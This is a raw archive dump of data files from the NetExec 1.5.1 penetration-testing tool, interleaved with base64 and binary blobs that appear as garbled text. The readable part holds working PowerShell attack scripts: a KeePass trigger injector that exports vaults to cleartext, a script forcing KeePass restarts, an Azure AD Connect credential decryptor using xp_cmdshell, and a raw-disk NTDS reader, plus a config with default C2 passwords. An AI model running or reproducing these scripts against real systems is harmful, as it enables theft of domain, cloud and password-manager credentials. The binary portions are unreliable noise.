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KikuKTIpNik6KT4pAilGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpuim+KYIpxinKKc4p0inWKdop3iniKeYp6inuKfIp9in6Kf4pwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKpoqniqiKqYqqiquKrIqtiq6Kr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrOis+KwIrRitKK04rUitWK1orXitiK2YraituK3Irdit6K34rQiuGK4orjiuSK5YrmiueK6IrpiuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AAACAAQCEAAAACKAYoCigOKBIoFigaKB4oIigmKCooLigyKDYoOig+KAIoRihKKE4oUihWKFooXihiKGYoaihuKHIodih6KH4oQiiGKIoojiiSKJwroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+Qr6CvsK/Ar9Cv4K/wrwCQAQCgAQAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiAKMQoyCjMKNAo1CjYKNwo4CjkKOgo7CjwKPQo+Cj8KMApBCkIKQwpECkUKRgpHCkgKSQpKCksKTApNCk4KTwpAClEKUgpTClQKVQpWClcKWApZCloKWwpcCl0KXgpfClAKYQpiCmMKZAplCmYKZwpoCmkKagprCmwKbQpuCm8KYApxCnIKcwp0CnUKdgp3CngKeQp6CnsKfAp9Cn4KfwpwCoEKggqDCoQKhQqGCocKiAqJCooKiwqMCo0KjgqPCoAKkQqSCpMKlAqVCpYKlwqYCpkKmgqbCpwKnQqeCp8KkAqhCqIKowqkCqUKpgqnCqgKqQqqCqsKrAqtCq4KrwqgCrEKsgqzCrQKtQq2CrcKuAq5CroKuwq8Cr0Kvgq/CrAKwQrCCsMKxArFCsYKxwrICskKygrAAAAMABABwAAAAYrzCvOK/Ar9iv4K/or/Cv+K8AAADwAQBIAAAAqKHAoQiiKKJIomiiiKK4otCi2KLgohijIKNwqHiogKiIqJComKigqKiosKi4qMio0KjYqOCo6KjwqPioAKkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==NetExec-1.5.1/nxc/data/keepass_trigger_module/000077500000000000000000000000001514706431700213055ustar00rootroot00000000000000NetExec-1.5.1/nxc/data/keepass_trigger_module/AddKeePassTrigger.ps1000066400000000000000000000031731514706431700252260ustar00rootroot00000000000000$ExportPath = "REPLACE_ME_ExportPath" $ExportName = "REPLACE_ME_ExportName" $TriggerName = "REPLACE_ME_TriggerName" $KeePassXMLPath = "REPLACE_ME_KeePassXMLPath" $TriggerXML = [xml] @" $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray())) $TriggerName true bES7XfGLTA2IzmXm6a0pig== 1 False D5prW87VRr65NO2xP5RIIg== $ExportPath\$ExportName KeePass XML (2.x) "@ if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -is [String]) { $Triggers = $KeePassXML.CreateElement('Triggers') $Null = $Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) $Null = $KeePassXML.Configuration.Application.TriggerSystem.ReplaceChild($Triggers, $KeePassXML.Configuration.Application.TriggerSystem.SelectSingleNode('Triggers')) } else { $Null = $KeePassXML.Configuration.Application.TriggerSystem.Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) } $KeePassXML.Save($KeePassXMLPath) }NetExec-1.5.1/nxc/data/keepass_trigger_module/RemoveKeePassTrigger.ps1000066400000000000000000000014041514706431700257660ustar00rootroot00000000000000$KeePassXMLPath = "REPLACE_ME_KeePassXMLPath" $TriggerName = "REPLACE_ME_TriggerName" if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) $RandomGUID = [System.GUID]::NewGuid().ToByteArray() if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -isnot [String]) { $Children = $KeePassXML.Configuration.Application.TriggerSystem.Triggers | ForEach-Object {$_.Trigger} | Where-Object {$_.Name -like $TriggerName} ForEach($Child in $Children) { $KeePassXML.Configuration.Application.TriggerSystem.Triggers.RemoveChild($Child) } } try { $KeePassXML.Save($KeePassXMLPath) } catch { } }NetExec-1.5.1/nxc/data/keepass_trigger_module/RestartKeePass.ps1000066400000000000000000000006211514706431700246310ustar00rootroot00000000000000$KeePassUser = "REPLACE_ME_KeePassUser" $KeePassBinaryPath = "REPLACE_ME_KeePassBinaryPath" $DummyServiceName = "REPLACE_ME_DummyServiceName" schtasks /create /tn "$DummyServiceName" /tr "$KeePassBinaryPath" /ru $KeePassUser /it /sc ONLOGON taskkill /F /T /IM keepass.exe /FI "USERNAME eq $KeePassUser" schtasks /run /tn "$DummyServiceName" Start-Sleep -s 3 schtasks /delete /tn "$DummyServiceName" /FNetExec-1.5.1/nxc/data/msol_dump/000077500000000000000000000000001514706431700165615ustar00rootroot00000000000000NetExec-1.5.1/nxc/data/msol_dump/entra-sync-creds.ps1000066400000000000000000000073321514706431700223740ustar00rootroot00000000000000# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c # Modified by @NeffIsBack: # - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116) # Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff function decrypter($crypted, $key_id, $instance_id, $entropy) { $cmd = $client.CreateCommand() $cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'" $reader = $cmd.ExecuteReader() $decrypted = [string]::Empty while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) { $decrypted += $reader.GetString(0) } $reader.Close() if ($decrypted -eq [string]::Empty) { Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell" return } return $decrypted } # Create a connection to the localdb instance of Azure AD Connect $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync" try { $client.Open() } catch { Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed" return } function f { param ($q) $c = $client.CreateCommand() $c.CommandText = $q $r = $c.ExecuteReader() if (-not $r.Read()) { Write-Host "[!] Error querying: $q" return } $res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) } $r.Close() return $res } # Get keyset_id, instance_id, entropy $out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" if (-not $out) { return } $key_id, $instance_id, $entropy = $out # Get and decrypt on-prem AD credentials $out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" if (-not $out) { return } $on_prem, $c = $out $pd = decrypter $c $key_id $instance_id $entropy # Get and decrypt Entra ID sync credentials $out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'" if (-not $out) { return } $entra, $c = $out $qd = decrypter $c $key_id $instance_id $entropy # Extract the credentials from the decrypted XML configurations $domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}} $username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}} $pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}} Write-Host "On-prem Domain: $($domain.Domain)" Write-Host "On-prem Username: $($username.Username)" Write-Host "On-prem Password: $($pw.Password)" # Extract the Entra ID sync credentials $entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text' $entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}} Write-Host "Entra ID Username: $($entra_user)" Write-Host "Entra ID Password: $($entra_pw.Password)"NetExec-1.5.1/nxc/data/ntds-dump-raw/000077500000000000000000000000001514706431700172645ustar00rootroot00000000000000NetExec-1.5.1/nxc/data/ntds-dump-raw/ntds-dump-raw.ps1000066400000000000000000000055541514706431700224240ustar00rootroot00000000000000Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; using Microsoft.Win32.SafeHandles; public class CNativeMethods { public const uint GENERIC_READ = 0x80000000; public const uint OPEN_EXISTING = 3; public const uint FILE_SHARE_READ = 0x00000001; public const uint FILE_SHARE_WRITE = 0x00000002; public const uint FILE_SHARE_DELETE = 0x00000004; [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern SafeFileHandle CreateFile( string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile ); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool ReadFile( SafeFileHandle hFile, byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped ); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool SetFilePointerEx( SafeFileHandle hFile, long lDistanceToMove, out long lpNewFilePointer, uint dwMoveMethod ); } public enum EMoveMethod : uint { Begin = 0, Current = 1, End = 2 } "@ Function read_disk{ $offset = [long]$args[0] $size = [int]$args[1] try { $handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0", [CNativeMethods]::GENERIC_READ, [CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE, [IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero) if ($handle.IsInvalid) { throw "Failed to create file handle" } $moveToHigh = 0 $success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin) if (-not $success) { throw "Failed to set file pointer" } $buffer = New-Object byte[] $size $bytesRead = 0 $success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero) if (-not $success) { throw "Failed to read file" } $memoryStream = New-Object System.IO.MemoryStream $gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress) $gzipStream.Write($buffer, 0, $buffer.Length) $gzipStream.Close() $compressedBytes = $memoryStream.ToArray() $compressedBase64 = [Convert]::ToBase64String($compressedBytes) Write-Output $compressedBase64 } catch { Write-Error "An error occurred: $_" } finally { if ($handle -and !$handle.IsInvalid) { $handle.Close() } } } NetExec-1.5.1/nxc/data/nxc.conf000077500000000000000000000010141514706431700162200ustar00rootroot00000000000000[nxc] workspace = default last_used_db = smb pwn3d_label = Pwn3d! audit_mode = reveal_chars_of_pwd = 0 log_mode = False host_info_colors = ["green", "red", "yellow", "cyan"] check_guest_account = False [BloodHound] bh_enabled = False bh_uri = 127.0.0.1 bh_port = 7687 bh_user = neo4j bh_pass = bloodhoundcommunityedition [BloodHound-CE] bhce_enabled = True [Empire] api_host = 127.0.0.1 api_port = 1337 username = empireadmin password = password123 [Metasploit] rpc_host = 127.0.0.1 rpc_port = 55552 password = abc123 NetExec-1.5.1/nxc/data/nxc.ico000066400000000000000000001123371514706431700160550ustar00rootroot00000000000000PNG  IHDR?$_ pHYs%%IR$ IDATxbd`  @/ P moQ0mQ@!λ*y}h1]0 FmQ@Vh(8(0(HmQ@@G+`FQ0 mQ޽w0:?lht(( m *|{(= F8!m mC ?`4G؀ 2000ma [@?CsF# -`maGlt`aE`m!CОJQ@Kp:2at` im! ~<@G6F m!(8:M0 ```mA GGрkF mAas FP &000mA!SFpF  m~#&200,mcx㡕(#,"=x000m}` Qѵ>m{ s` GmmaQ0 (vmh?z(ІѰT mh_?Д@hC`P000mta_?ZQ@{zlmRş?o;Ftmh? F Q@:```mh? F Q@<```m @a`ȀsFl m`tU(Cm  :`XPCpâ 9 m8W?z(,8 mYGQ0"hC` m`0 Fw tmP0oQ0Ppm0 g]7:? F(ЅFCdmQ0 F60:"0:-0m7tQ@U9```m c]?tQ@8mb0\(L*;NGf7a1 F( ]$8\F?ZQ0  `? F(# `? F(3 `?pMALWO>2u맟#/@F~Ёр m A]?ÁTX2&bTmwań9 DX2$<< G@Nm !0i^ʠ%J fX=ZQ  %b0T4 #=,t$AQnie!#o`P<ٛAB(AaohsaC:( 7o|ycƠ m r:_CzF7HN!Z z$,,kw` @O>GFp['o|c4 )```0t |Xc !q6 @e~h6 #```m R*b2|`L^Ge0$FՀ0000m 2?z{V"]h`PP6TA$000m "4?b` '0:%0m ]?:?F( ѭFz@ m  :gJ܊ՓOv0$6%qe(H8?bl,dGNu 1Ie}0\9dX0G ``` ;?z#'[smd( IɃ g`BӞm @Gzf*RH4:O %;I ѣP*8@3^?z^c+ ^w׏HE {бʊZbͬp!@ea;㍏;``` Nt3$+ ?5{4ȇ!f 7 ~Asm@+-~CNC, K!yMW! .Nm000]@cot-哻`4s(`tq ]@C WbzrL3hG6"x/hHt=h̀,F/îkmN i Ut4 j?,=7#*s\ M:7[ Q{pp@ 7\[Aݼ"E `4HhH]9}yl2nU(b \tdo$pQi4uPW[#/pE'8R3 xEE]@eoa@J~ @@3H ) 6@a+w1-[GmP@6a5WzbIUfȻ F* p5`ȂFmP@wp>z4mN$y#ywrz谅73@r jnmPvs<Vj[ȒqB' g@pG8@mPmPF GچJz#xqAڈFp m F+ @>I~=glqÁmPmFO7kE3Sw|a-@q Q0詁m m*a@C;w' Ju@p_%g(vh#m*!ap-ۏc ;=0@?ßT8]8lh#Dm F+ @ pm#th({)2-d kB ǣ0 [0 000mF+pʃmU96bq\ cb ߮5m mbpHCh. "fa%;Gz(,E^K6WQ0,h#1 m8`p64A1JYLŏ< 0br4jWvm7)a0ۥ@-4LHZ?2hNt 6`X47m/UKY𭙠 P &A#L?! .0008nxXa4F+ 'r@?=p $T?|q8#`DÂpmP׾pRa;=?@KRN÷0m BR_iKځQz2$:Q0$h#000meq,.TaJ~~\83<Ҁ m@A|(a nj\)8laJ(8(hDhY?m *AQ@@Bm?9g|mZtt`āF \h88탣h--w^40} hm @h8#rZl;3HYO(nG80D7 Q* bWZNv0"v%?|BGF\ #~Gzx[#*0p! V( ` cR (#`q >,_ ?PPϒGyz8!N(G \'3#@@hzF&F/ ` 300Q ֏bKep5sz F@1 ~#Yk?|-kB5kF,m000 > )΀1O+̉Q u  ~#w90 OLQQ @ #Ӌ#"-"ヘ(g#F0 f5 g'Ni܏a1 F. f?71[Y>z|'7sD01'?30 5K``` >Pׯ~8e  Fh#? h1G#Cv >)`1 @`bp"`bn$¡Q0lzh2|#Gl@\ < G(:exu,V E#{{ѣLBQQ=)p'6 #QS#4 *}G .@h1/bP0l b`` a?#P,xB @ .#s ' t#!10 y'<_IVQ@: o^p"/3Oh=FGFpQC0002 薿Q mƵ`J%vK((@Cc*J#CEٲI&fK ((@Cg* ѡQ 3&^9hQ@L ngt`1 ѡQ{Fhxt#4&vK ((* #CH[ELML2 / /-pt`? ˣCiEl#btb_Mh )2h40xc`` ѳG: o81_ v((] #C7wKl#bt%ʛs FGFaZ ClQ@@ϹRGAym0#g@l ?G+SB.Xt AQ0H2ѽ|+-7^;q+%VAiv$````T AQ0OюꛔkG ?@Hh7 @ʮR(1 P l# F2 ^w<5.CPz(m; @J#s4 х e>WOlk`G7 @Jqt-(ς@L# F p' 7q+͐H8 хг?odbЂf``(@UG+k\iFGF?'200 # F:gB|t((!y{e0Um"odb2 6̀2X``RzL bRob()QQ \@|趿QH=KP,)72IKL # xхVySQ0sdt`S200 Ay;(8@?)'IlTr8ѹQH!:et(] @00: 0 p׉ { @/`? 7;I7*I6x? H+mҐqPZ F@u#ѹQ|.q-"?z(` q5?QRҸM;okzᠺq <>ID?QqiWl@G300(Hn0@j~\QQЯd``[`? pGV:ǝ&p5R %͏7 h`Rz'U|-)G \GU&JH: FO]K`? pc-`G{QPQJn h`RFهֵ`P_lixLyq? 0 pΣ+G5;HmdFQڞ @>C zOZD;6+Rz6 F& _l鏔-<@l#жd``i`ܗ\ IDATQ suf;)'\F(@cK11`# Z @Jϝǰ,hI#V@i:RH # Юe``Y @Oa? m,j\< F6@k~In:`Qڬc``h`RW>cON(dXr)aB0n^J3HH/ G\Ya(4KIbƣ`hRz.!U(4"'e2d6H|$\i5 @J] 0 p000h? 0N 3##{@vD<`ФNe``U`t(\k3_{=b5#U,L5\([$u%A~zzCP_RI\QKJjFΊuRk~G TT?h`м2C{qmPm1xV2_{E5VBDqԸ旔Å@f^c(@ݺjzh5z6@P9xUJT꠵d7j ?3T=xl`Q@`@Ճ@<P_RH $@cUk:@I"@|d.R@3%Rz9zU(^Z @O`t(qd/5  !IA-ZO2>5 Av` [bxH9j0j\K#G(n ;@r)?)`3cbVk[bUF!ƥd&l\܄ 7)\=xRFF/ xuZf`t`R/OʂYpdwRאjRŗC@&Ro5 0zI(N]J`Q *Rz1[l3 |;F]wp7ďO 7o@JuY)f Pֹh,t@ {H *bG0p5-Zp\IAf [Kq]LH(Ts0o`Ըk+a6d@0yqU2M`3 d'?~̀4+^4 (_ h? 0 +' @ϦU]҃^㫨-÷@,] ;AnR̀: @J^# PV200F`t(@8*)f uTZ<>ҋǍ-\q5 fR*k  g0z(@Tj\ o b*AnŷWcAanj\KJ=xɯt`? 0)HTG>.4:C\F~N2F|G_9{0.UG@~0:? P)pͧR @ P/~zbg 6LaYcS.Pj &@k~IYO0z<(ȯ"݇8z(@J+R}fn*U+'ԛUܸ*4^z F 4<>)f գGM````d`t(@l!ҟסq+&'X*n|sǠvZAnXAd%F߈ H[QRŎȫ@Fȸ8h(WO>Zb3쎯155Ĉ . ?B@^]" ߗ0:? )smf@lOi eVĦv5%e@ M"w`tz+nj\<hf"{TР-[Anx fHk~q R#^'300"=~pt)pڧƵCk:@t#F Z6`?1tAb&u2`Āf``b$Utah0ޕT@Rx Lа'~p5 ``(W0ƅ'vcudHi4`?1CV8X8 !1W"3@Ԯ ZRҤR`Ā Y"~t` G:/ :[~8\,d#?)kP>P> l(a``"~t(RQzJx4Q@PzNѾ4FBwhpkD 6"=p`h< 攸lz Xȅq`a;t.|F>YiDEl3h;H08I{iQ*u~0`M㠴0 FhQ"0Q#g](xq-U\@ ̤#7~@hݳU򠞼(?!vQ(1`EDyb!1TFG CIpiF & /Aq5`s _sL5]hC3,(m浡#i=(6F5"zzQ^4c_?g0 gTz8x0@(1 anj&e!^Q~8{lnbGpâ Ma``"e`QN#HR0zFLÀk\as _ 5+`б0` 6@O VO:( qEbc#j "e7M?Z gfVF3`Q7RaJ wT IhiHuhߝAm!Q#5l D\](†E```" ߧJ#=TGVyG4 @:h>.-9nDt|4|Z#1Z* 5"v cF(@;V'd؞ld cPZ\a)j?u]#v.nPl200"0z( 2RΠrJ1C̤UM0PJ*wl32We J:D. rou  t\ *ʼn TyN6 T#CYnrO$UCu, _GW*u6"x`|ѿZ(9CW2틘6*[tp'% 5@Zw ":( U">DޘF?w#|ВF#B?HU=t %G"`?#y:!@n1xR{=o'@ˉ@~!fٛI 6-%G( » 0@4~4dG5NI9t;)%f~ > |r`Q0@pâX]b< w8P=Z(S@g?nTe8&(7NuU릟ٰ3[Tp?(Lj !gP >"? R@jtZltuJEX|.P@ t.-hbrjZ n9 . 4 4z0({=9@Q0 v[P Ahʉ`W#m56lrq(5+w }3 Q0 .se1·`0 ( W.FM8jH ߒw37d6~!N0-b F(hTc6]8 (,Z6 klr4J(6FwQ@G/ PCʁKC6@yg`Q@.g``3=P G栵_)ْH/),zf ZlG MJ汩C<4 @`650B mm*  - {CaaoUځ`рV:d1/dA+ k|-Sz(dP~E/rp @-9 v!YbA/\7 ;HM66F($PE=µ`t`*r4Uf\lGh.= z_= F u:mQ@CHA o*R.=dz/6 F( 0th4 Fu#f4M95G#L񶠰=o60_Z_䵄l|)O)g @~w H )[G(DԺ Q0 @ـv:-#tS>k%KtQ@#Z300P Q0 @8[bUzoIə'F/9^ ;xQ0 Pv]0 FYPIjŧgH{g'6zbN`jBi:-hQ@: "$RpD5 <"'r7`⌂Q0 PxBJc\I9r*ct@? ; )GѣpG(*@ B? pt`ruc Up+z֔+$fG@Pr30rGAvV\ Cb{PW(Xׁ (!C `300Bo$ !6<{м:F/$x 0.ҋB3A8ŀQ%;F xBoN G+ @+JF@ 1+%n F/1 b_?ea9 -Qc*jP x` A`hvO?Cz!9 V@_@a:A C)aGl 7Fw .:4K(W*Њ y d(\·] ʈ[1\@aj܊넴 ;D ZȈ(R#5£2;]````B3HTJNi}<$)jI yx>IF$W|ك*-w#Jz_GL6;GS,?U˜PX!5 V7 ΃@zBn4 FFbByȝNY _?ԆEl8'PH(]؁UfwH?-. 7Rwm>+( FD) jJF{ Bn=4C2p(_EЙ At9lPPMLSWp5@A:H-EP!/!-B&J`BB8ObO]Th`o80 3pPH]b1 >*gI0wW'Q T0ӳ5@*}zCTq*lb&],*to#w??b  ;شrHXi>~za+`i :p`"GB8l#Q+dn hhO|0X:T °cr4퀫Gh|Ud6Vr1qPe aѹvT_J: G^@- m ^%0RzC qU['Vc#~فka*m|kj6XDj9Aֿ u= 7Zbc"NPEł?(c4^b͵n[* z} ;pUjBar KYU [R^:]44VP݀!h$Rt\2 ߖD"v7(Pm !  ' <'BKC  _fEvœ0Bq= 05HĖQ`5FԲ&v(i|GR:@?to~Q&؂@\fJv06@̪1iز&F{C30005FXb*Q|#UϔNP3_ rA |+̉ݝ1 X9 %0````b6ftx@Bh~r jA 0D5K%RR6AbGG b  {i "&ɏ ?z 5FoBlt8T-#f\{^H? +PPG mT 9 b  e ?8@iZ^l..@IHF{PAl-ʣ`>b6F=Pk?А; `{t@q 7ᚒ uA z2c!  bv&1@=0d-dPP8\=yK^b*"6 @K0 [AnT Ԃx@@k=wbvH t?[VzV*L ߢ9|(ѹBA~#4Eb v(-( J+ }PYA?C00€+7C? P IDATUj*J#$L ^| (]hE2E>'F!J@q{|^P"*Hî*C004zV #iםgֵU6*$|+wL, C%d@BǠ&R%rj!m q@#e,T@4 zA\~ }`G5Gz e@ԼnR-E RG?Pk(>7ZH1} :=wyb p+'33׫1RF(¦}0@nB[(]vNi؂@_=J?J1D$(mQ>`#P3 8``P8TV-l_ԃ&eU1SW v\QZbxŃs$L]MQ7```]0GLz2 fdʽSRRs ``` t'x ܔ+ `4쎫Z:Ia> V A#K@ XXp20`b=``"$@=X 6, rT*t} v95o4ߊ¥? bUZwB N|⸆a(XOu?F ]"53zb= p3Ba$?u=V9lC0m-6 W)Sk.sjEj7 q?BLEn֋pc ( 1 ``@+T"r/Bg@[LJTWo vsYhF@\-W ah` (| aUGʂRvNP]5Gb ?`@GGrg@)ݞGo W|!<5hTЂYHDV@!b+ϕNWSz6TQR;.@  1SE(z.р<%1@:z`VTyqbAbmhDPۆ]`RڎFWR XPo )=gm=F {g׃*^m ň-zcW/2pANAm :UIAhh9FMfdP hm(T@ vTc;F(3CNW(ꠇ)xk()iGPڤ-} =nA T %;H Ԗ9| `JW)|y0@ h\k=m "fu8x`b<ͱ_t@̐k 